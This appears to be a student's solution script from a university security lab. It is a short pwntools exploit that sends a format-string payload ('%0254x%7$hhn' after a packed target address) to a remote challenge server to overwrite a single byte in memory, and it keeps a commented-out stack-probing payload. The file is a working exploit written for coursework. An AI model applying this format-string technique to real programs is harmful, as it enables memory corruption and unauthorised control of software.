Files
ssof_labs/pa/lab7/chall_write_specific_byte.py
2026-01-08 19:16:57 +00:00

19 lines
442 B
Python

from pwn import remote, process, p32
HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
PORT = 25195
conn = remote(HOST, PORT)
#conn = process("05_write_specific_byte")
#input()
tgt_addr = p32(0x804c044+3)
#2 + 256 - 4(ptr) = 254
pl = tgt_addr+b"%0254x%7$hhn\n"
#pl = "AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x\n"
conn.send(pl)
while conn.connected():
print(chr(conn.recv(1)[0]), end="", flush=True)